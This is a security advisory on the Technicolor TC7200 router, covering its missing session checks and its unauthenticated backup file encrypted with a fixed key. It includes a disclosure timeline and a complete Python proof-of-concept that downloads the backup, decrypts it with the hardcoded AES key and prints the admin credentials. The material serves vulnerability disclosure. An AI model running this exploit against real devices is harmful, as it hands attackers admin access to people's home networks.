Technicolor TC7200 Modem / Router Session Management / Fixed Password
Posted on 21 July 2016
Technicolor TC7200 modem/router multiple vulnerabilities -------------------------------------------------------- Platforms / Firmware confirmed affected: - Technicolor TC7200, STD6.02.11 - Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300 Vulnerabilities --------------- Insecure session management The web interface does not use cookies at all and does not check the IP address of the client. If admin login is successful, every user from the LAN can access the management interface. Backup file encryption uses fix password Technicolor fixed the CVE-2014-1677 by encrypting the backup file with AES. However, the encrypted backup file remains accessible without authentication and if the password is not set in the web interface a default password is used. So, if an attacker accesses the backup file without authentication, the password cannot be set, and the backup file can be decrypted. Timeline -------- - 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC - Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings - 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase - 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases. - 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters - 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases. POC --- POC script is available to demonstrate the following problems [2]: - Unauthenticated backup file access - Backup file decryption Recommendations --------------- Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase. Credits ------- This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu) References ---------- [1] http://www.search-lab.hu/advisories/secadv-20150720 [2] https://github.com/ebux/Cable-modems/tree/master/Technicolor technicolor_tc7200_poc.py: # # POC code for Technicolor TC7200 # # Demonstrates the following vulnerabilities # - Unauthenticated backup file access # - Backup file decryption # # Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu) # # Advisory: http://www.search-lab.hu/advisories/secadv-20150720 import sys import requests import struct import binascii from Crypto.Cipher import AES class technicolor: def __init__(self, addr, port): self.addr = addr self.port = port self.s = requests.Session() def getUri(self, uri): return 'http://%s:%d/%s'%(self.addr,self.port,uri) def downloadBackupFile(self): r = self.s.get(self.getUri('goform/system/GatewaySettings.bin')) resp = '' for chunk in r: resp += chunk return resp def parseBackup(self, backup): p = backup.find('MLog') if (p > 0): p += 6 nh = struct.unpack('!H',backup[p:p+2])[0] name = backup[p+2:p+2+nh] p += 2+nh ph = struct.unpack('!H',backup[p:p+2])[0] pwd = backup[p+2:p+2+nh] return (name,pwd) return ('','') def decryptBackup(self, backup): key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F') l = (len(backup)/16)*16 cipher = AES.new(key, AES.MODE_ECB, 'x00'*(16)) plain = cipher.decrypt(backup[0:l]) return plain #------------------------------------ if (len(sys.argv) < 2): print 'technicolor_tc7200_poc.py addr [port]' addr = sys.argv[1] port = 80 if (len(sys.argv) == 3): port = int(sys.argv[2]) # create technicolor object t = technicolor(addr, port) backup = t.downloadBackupFile() if (len(backup) > 0): open('test.enc', 'wb').write(backup) plain = t.decryptBackup(backup) open('test.dec', 'wb').write(plain) (name, pwd) = t.parseBackup(plain) if (name != ''): print 'admin name: %s, pwd: %s'%(name,pwd)
